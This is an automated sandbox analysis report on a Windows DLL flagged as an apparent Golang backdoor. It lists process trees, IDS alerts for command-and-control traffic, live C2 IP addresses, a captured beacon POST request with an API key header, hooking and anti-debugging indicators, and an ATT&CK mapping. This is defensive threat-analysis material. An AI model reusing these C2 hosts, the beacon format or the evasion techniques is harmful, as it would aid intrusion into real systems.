Edit tour

Windows Analysis Report
file.dll

Overview

General Information

Sample name:	file.dll
Analysis ID:	1474076
MD5:	bcc606faae89c79eddac6b9512065022
SHA1:	98ddeb6f59827f866b9484f8c5e4a3b980b9419a
SHA256:	2ee236f7b21d860a5fea13a4347425a9cecc67ce16ee17eb34e3eb6a5cb8f4cd
Tags:	dll
Infos:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

Connects to many ports of the same IP (likely port scanning)

Found Tor onion address

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Switches to a custom stack to bypass stack traces

Checks if the current process is being debugged

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Entry point lies outside standard sections

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE / OLE file has an invalid certificate

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6864 cmdline: loaddll32.exe "C:\Users\user\Desktop\file.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 6896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7012 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\file.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 7104 cmdline: rundll32.exe "C:\Users\user\Desktop\file.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7036 cmdline: rundll32.exe C:\Users\user\Desktop\file.dll,MainFunc MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 3864 cmdline: rundll32.exe C:\Users\user\Desktop\file.dll,_cgo_dummy_export MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 5408 cmdline: rundll32.exe "C:\Users\user\Desktop\file.dll",MainFunc MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7120 cmdline: rundll32.exe "C:\Users\user\Desktop\file.dll",_cgo_dummy_export MD5: 889B99C52A60DD49227C5E485A016679)

cleanup

Snort Signatures

ETPRO TROJAN Unknown Golang Backdoor CnC Server Response M2 - Source IP: 91.142.73.198 - Destination IP: 192.168.2.7

Timestamp:	07/16/24-09:53:35.439965
SID:	2855539
Source Port:	30865
Destination Port:	49711
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Unknown Golang Backdoor CnC Server Response M1 - Source IP: 91.142.73.198 - Destination IP: 192.168.2.7

Timestamp:	07/16/24-09:54:05.158445
SID:	2855538
Source Port:	30865
Destination Port:	49711
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Unknown Golang Backdoor CnC Client Request M2 - Source IP: 192.168.2.7 - Destination IP: 91.142.73.198

Timestamp:	07/16/24-09:54:04.943082
SID:	2855537
Source Port:	49711
Destination Port:	30865
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Unknown Golang Backdoor CnC Client Request M1 - Source IP: 192.168.2.7 - Destination IP: 91.142.73.198

Timestamp:	07/16/24-09:53:35.476708
SID:	2855536
Source Port:	49711
Destination Port:	30865
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST / HTTP/1.1Host: 195.2.70.38User-Agent: Go-http-client/1.1Content-Length: 158X-Api-Key: 03Ar0rGGAccept-Encoding: gzipData Raw: 18 4d 1b 15 0c 15 2a 0b 4c 5c 4b 0a 53 5d 1d 0f 0f 37 19 04 16 57 06 1e 10 20 1d 54 1e 05 19 4d 42 44 19 15 0c 17 17 33 1a 02 11 01 0f 0b 0c 45 59 4d 0d 14 13 5f 50 01 3c 2c 4b 4b 41 1f 1c 09 11 1e 33 0e 1d 15 1e 08 11 0b 4c 5c 4b 1e 12 16 3d 05 10 53 29 4d 42 44 0b 12 0a 03 0a 30 0c 15 10 06 01 08 4b 5d 41 5f 1f 35 11 49 10 5d 16 55 1a 1e 00 4d 42 44 04 03 56 4d 54 44 51 5f 5a 0d 57 5f 0a 52 51 0e 58 56 0d 03 57 56 5c 54 5e 04 56 0a 5a 5e 5c 06 53 5e 58 50 5e 5e 41 12 Data Ascii: M*L\KS]7W TMBD3EYM_P<,KKA3L\K=S)MBD0K]A_5I]UMBDVMTDQ_ZW_RQXVWV\T^VZ^\S^XP^^A

Source: rundll32.exe, 00000006.00000002.3526148398.000000000D8F2000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3526148398.000000000D814000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3526148398.000000000D8BE000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3526148398.000000000D8F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://195.2.70.38
Source: rundll32.exe, 00000003.00000002.3526234876.000000000D4A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://195.2.70.38Go-http-client/1.1Go-http-client/1.1PM
Source: rundll32.exe, 00000006.00000002.3526148398.000000000D814000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://195.2.70.38Go-http-client/1.1PM
Source: rundll32.exe, 00000004.00000002.3526511994.000000000CCBE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://195.2.70.38Go-http-client/1.1http://91.142.74.28
Source: rundll32.exe, 00000003.00000002.3530862948.000000000D604000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://195.2.70.38Go-http-client/1.1http://91.142.74.28PM
Source: rundll32.exe, 00000003.00000002.3530862948.000000000D604000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3530266889.000000000CD84000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://195.2.70.38P
Source: rundll32.exe, 00000003.00000002.3526234876.000000000D4A2000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3531810524.000000000CE06000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3526511994.000000000CCBE000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3531650595.000000000DA02000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://195.2.70.38PM
Source: rundll32.exe, 00000006.00000002.3526148398.000000000D8F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.224.56
Source: rundll32.exe, 00000003.00000002.3526234876.000000000D4A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.224.56Go-http-client/1.1P
Source: rundll32.exe, 00000006.00000002.3529886201.000000000D99A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.224.56Go-http-client/1.1PM
Source: rundll32.exe, 00000003.00000002.3526234876.000000000D4A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.224.56Go-http-client/1.1X-Content-Type-OptionsTransfer-EncodingP
Source: rundll32.exe, 00000004.00000002.3531810524.000000000CE06000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3531650595.000000000DA02000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.224.56PM
Source: rundll32.exe, 00000003.00000002.3526234876.000000000D50C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.224.56X-Content-Type-OptionsTransfer-EncodingP
Source: rundll32.exe, 00000004.00000002.3526511994.000000000CC12000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.224.56http://77.238.229.6377.238.250.123:80
Source: rundll32.exe, 00000006.00000002.3526148398.000000000D8F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.229.63
Source: rundll32.exe, 00000004.00000002.3526511994.000000000CC12000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.229.6377.238.250.123:80
Source: rundll32.exe, 00000006.00000002.3526148398.000000000D8BE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.229.6377.238.250.123:80Go-http-client/1.1Transfer-Encoding
Source: rundll32.exe, 00000004.00000002.3526511994.000000000CCBE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.229.6377.238.250.123:80Go-http-client/1.1http://195.2.70.38Go-http-client/1.1http://77
Source: rundll32.exe, 00000003.00000002.3526234876.000000000D408000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.229.6377.238.250.123:80Go-http-client/1.1http://77.238.229.6377.238.250.123:80Go-http-
Source: rundll32.exe, 00000006.00000002.3531650595.000000000DA02000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.229.6377.238.250.123:80P
Source: rundll32.exe, 00000003.00000002.3530862948.000000000D604000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.229.6377.238.250.123:80PM
Source: rundll32.exe, 00000006.00000002.3526148398.000000000D814000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.229.6377.238.250.123:80http://91.142.74.28Go-http-client/1.1http://77.238.224.5662.113
Source: rundll32.exe, 00000003.00000002.3526234876.000000000D408000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.229.6377.238.250.123:80y
Source: rundll32.exe, 00000006.00000002.3526148398.000000000D8F2000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3526148398.000000000D8F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.250.123
Source: rundll32.exe, 00000006.00000002.3526148398.000000000D8F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://77.238.250.123http://195.2.70.38
Source: rundll32.exe, 00000006.00000002.3526148398.000000000D8F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.142.74.28
Source: rundll32.exe, 00000004.00000002.3530266889.000000000CD84000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.142.74.28Go-http-client/1.1http://77.238.229.6377.238.250.123:80
Source: rundll32.exe, 00000004.00000002.3531810524.000000000CE06000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3526511994.000000000CCBE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.142.74.28PM
Source: rundll32.exe, 00000006.00000002.3529886201.000000000D99A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.142.74.28S
Source: rundll32.exe, 00000006.00000002.3526148398.000000000D8BE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.142.74.28http://195.2.70.38P
Source: rundll32.exe, 00000003.00000002.3530330530.000000000D5C8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.142.74.28http://77.238.224.56Go-http-client/1.1http://77.238.229.6377.238.250.123:80Go-htt
Source: file.dll	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: file.dll	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: file.dll	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0w
Source: file.dll	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: file.dll	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: file.dll	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: file.dll	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: file.dll	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: file.dll	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: file.dll	String found in binary or memory: http://ocsp.digicert.com0C
Source: file.dll	String found in binary or memory: http://ocsp.digicert.com0N
Source: file.dll	String found in binary or memory: http://ocsp.entrust.net02
Source: file.dll	String found in binary or memory: http://ocsp.entrust.net03
Source: file.dll	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.dll	String found in binary or memory: http://www.entrust.net/rpa0
Source: file.dll	String found in binary or memory: http://www.entrust.net/rpa03
Source: file.dll	String found in binary or memory: https://www.digicert.com/CPS0

Source: file.dll

Static PE information: invalid certificate

Source: file.dll

Static PE information: Number of sections : 12 > 10

Source: file.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED, DLL

Source: loaddll32.exe, 00000000.00000002.2973643046.000000000134D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ;.VBP

Source: classification engine

Classification label: mal88.troj.evad.winDLL@14/1@0/6

Source: C:\Windows\SysWOW64\rundll32.exe

File created: C:\Users\user\AppData\Local\config

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6896:120:WilError_03

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\file.dll,MainFunc

Source: file.dll	ReversingLabs: Detection: 13%
Source: file.dll	Virustotal: Detection: 14%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\file.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\file.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\file.dll,MainFunc
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\file.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\file.dll,_cgo_dummy_export
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\file.dll",MainFunc
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\file.dll",_cgo_dummy_export
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\file.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\file.dll,MainFunc	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\file.dll,_cgo_dummy_export	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\file.dll",MainFunc	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\file.dll",_cgo_dummy_export	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\file.dll",#1	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior

Source: file.dll

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.dll

Static PE information: Image base 0x6c2c0000 > 0x60000000

Source: file.dll

Static file information: File size 11567224 > 1048576

Source: file.dll

Static PE information: Raw size of .rdata2 is bigger than: 0x100000 < 0xb05400

Source: file.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: initial sample

Static PE information: section where entry point is pointing to: .rdata2

Source: file.dll	Static PE information: section name: .rdata0
Source: file.dll	Static PE information: section name: .rdata1
Source: file.dll	Static PE information: section name: .rdata2

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Windows\System32\loaddll32.exe	Memory written: PID: 6864 base: 1210005 value: E9 8B 2F CF 75	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Memory written: PID: 6864 base: 76F02F90 value: E9 7A D0 30 8A	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: PID: 7036 base: 3040005 value: E9 8B 2F EC 73	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: PID: 7036 base: 76F02F90 value: E9 7A D0 13 8C	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: PID: 7104 base: 730005 value: E9 8B 2F 7D 76	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: PID: 7104 base: 76F02F90 value: E9 7A D0 82 89	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: PID: 3864 base: 5F0005 value: E9 8B 2F 91 76	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: PID: 3864 base: 76F02F90 value: E9 7A D0 6E 89	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: PID: 5408 base: 34C0005 value: E9 8B 2F A4 73	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: PID: 5408 base: 76F02F90 value: E9 7A D0 5B 8C	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: PID: 7120 base: D70005 value: E9 8B 2F 19 76	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: PID: 7120 base: 76F02F90 value: E9 7A D0 E6 89	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Windows\System32\loaddll32.exe	API/Special instruction interceptor: Address: 6C529F04
Source: C:\Windows\System32\loaddll32.exe	API/Special instruction interceptor: Address: 6C28EABD
Source: C:\Windows\System32\loaddll32.exe	API/Special instruction interceptor: Address: 6C36B007
Source: C:\Windows\System32\loaddll32.exe	API/Special instruction interceptor: Address: 6C52FC45
Source: C:\Windows\System32\loaddll32.exe	API/Special instruction interceptor: Address: 6CAC5DBD
Source: C:\Windows\System32\loaddll32.exe	API/Special instruction interceptor: Address: 6C332515
Source: C:\Windows\System32\loaddll32.exe	API/Special instruction interceptor: Address: 6CAD155C
Source: C:\Windows\System32\loaddll32.exe	API/Special instruction interceptor: Address: 6CBA886E
Source: C:\Windows\System32\loaddll32.exe	API/Special instruction interceptor: Address: 6C4C8C4A
Source: C:\Windows\System32\loaddll32.exe	API/Special instruction interceptor: Address: 6CB0A08E
Source: C:\Windows\System32\loaddll32.exe	API/Special instruction interceptor: Address: 6CC11ADE
Source: C:\Windows\System32\loaddll32.exe	API/Special instruction interceptor: Address: 6C51A8AF
Source: C:\Windows\System32\loaddll32.exe	API/Special instruction interceptor: Address: 6C50E983
Source: C:\Windows\System32\loaddll32.exe	API/Special instruction interceptor: Address: 6CBBFD3D

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Jump to behavior

Source: rundll32.exe, 00000007.00000002.1800601702.000000000099A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllV
Source: rundll32.exe, 00000006.00000002.3525201287.000000000352A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllp
Source: rundll32.exe, 00000003.00000002.3525616530.000000000330A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllt
Source: rundll32.exe, 00000004.00000002.3525127267.000000000049A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllB
Source: loaddll32.exe, 00000000.00000002.2973643046.000000000134D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll\\

Source: C:\Windows\System32\loaddll32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 77.238.229.63 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 195.2.70.38 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 77.238.224.56 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 91.142.74.28 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 77.238.250.123 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 62.113.116.83 15497	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\file.dll",#1

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\config VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\config VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\config VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Masquerading	1 Credential API Hooking	111 Security Software Discovery	Remote Services	1 Credential API Hooking	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Rundll32	NTDS	111 System Information Discovery	Distributed Component Object Model	Input Capture	1 Proxy	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.dll	13%	ReversingLabs
file.dll	15%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net02	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
http://77.238.229.6377.238.250.123:80http://91.142.74.28Go-http-client/1.1http://77.238.224.5662.113	0%	Avira URL Cloud	safe
http://www.entrust.net/rpa03	0%	Virustotal		Browse
http://77.238.224.56PM	0%	Avira URL Cloud	safe
http://77.238.229.63/	0%	Avira URL Cloud	safe
http://195.2.70.38PM	0%	Avira URL Cloud	safe
http://www.entrust.net/rpa03	0%	Avira URL Cloud	safe
http://77.238.229.6377.238.250.123:80P	0%	Avira URL Cloud	safe
http://77.238.229.6377.238.250.123:80PM	0%	Avira URL Cloud	safe
http://77.238.224.56Go-http-client/1.1P	0%	Avira URL Cloud	safe
http://aia.entrust.net/ts1-chain256.cer01	0%	Avira URL Cloud	safe
http://77.238.229.63/	1%	Virustotal		Browse
http://91.142.74.28S	0%	Avira URL Cloud	safe
http://77.238.224.56	0%	Avira URL Cloud	safe
http://aia.entrust.net/ts1-chain256.cer01	0%	Virustotal		Browse
http://77.238.224.56Go-http-client/1.1X-Content-Type-OptionsTransfer-EncodingP	0%	Avira URL Cloud	safe
http://195.2.70.38/	0%	Avira URL Cloud	safe
http://77.238.224.56	2%	Virustotal		Browse
http://77.238.250.123/	0%	Avira URL Cloud	safe
http://77.238.224.56Go-http-client/1.1PM	0%	Avira URL Cloud	safe
http://77.238.229.63	0%	Avira URL Cloud	safe
http://77.238.224.56http://77.238.229.6377.238.250.123:80	0%	Avira URL Cloud	safe
http://77.238.224.56/	0%	Avira URL Cloud	safe
http://77.238.250.123	0%	Avira URL Cloud	safe
http://195.2.70.38/	5%	Virustotal		Browse
http://77.238.229.63	1%	Virustotal		Browse
http://77.238.250.123/	0%	Virustotal		Browse
http://77.238.250.123	0%	Virustotal		Browse
http://77.238.224.56/	2%	Virustotal		Browse
http://195.2.70.38Go-http-client/1.1http://91.142.74.28	0%	Avira URL Cloud	safe
http://91.142.74.28Go-http-client/1.1http://77.238.229.6377.238.250.123:80	0%	Avira URL Cloud	safe
http://77.238.229.6377.238.250.123:80Go-http-client/1.1http://77.238.229.6377.238.250.123:80Go-http-	0%	Avira URL Cloud	safe
http://77.238.229.6377.238.250.123:80y	0%	Avira URL Cloud	safe
http://91.142.74.28http://77.238.224.56Go-http-client/1.1http://77.238.229.6377.238.250.123:80Go-htt	0%	Avira URL Cloud	safe
http://77.238.250.123http://195.2.70.38	0%	Avira URL Cloud	safe
http://77.238.229.6377.238.250.123:80Go-http-client/1.1Transfer-Encoding	0%	Avira URL Cloud	safe
http://91.142.74.28http://195.2.70.38P	0%	Avira URL Cloud	safe
http://91.142.74.28PM	0%	Avira URL Cloud	safe
http://91.142.74.28/	0%	Avira URL Cloud	safe
http://195.2.70.38P	0%	Avira URL Cloud	safe
http://crl.entrust.net/ts1ca.crl0	0%	Avira URL Cloud	safe
http://77.238.229.6377.238.250.123:80	0%	Avira URL Cloud	safe
http://crl.entrust.net/ts1ca.crl0	0%	Virustotal		Browse
http://77.238.229.6377.238.250.123:80Go-http-client/1.1http://195.2.70.38Go-http-client/1.1http://77	0%	Avira URL Cloud	safe
http://www.entrust.net/rpa0	0%	Avira URL Cloud	safe
http://77.238.224.56X-Content-Type-OptionsTransfer-EncodingP	0%	Avira URL Cloud	safe
http://195.2.70.38Go-http-client/1.1Go-http-client/1.1PM	0%	Avira URL Cloud	safe
http://195.2.70.38Go-http-client/1.1PM	0%	Avira URL Cloud	safe
http://www.entrust.net/rpa0	0%	Virustotal		Browse
http://195.2.70.38Go-http-client/1.1http://91.142.74.28PM	0%	Avira URL Cloud	safe
http://91.142.74.28/	2%	Virustotal		Browse
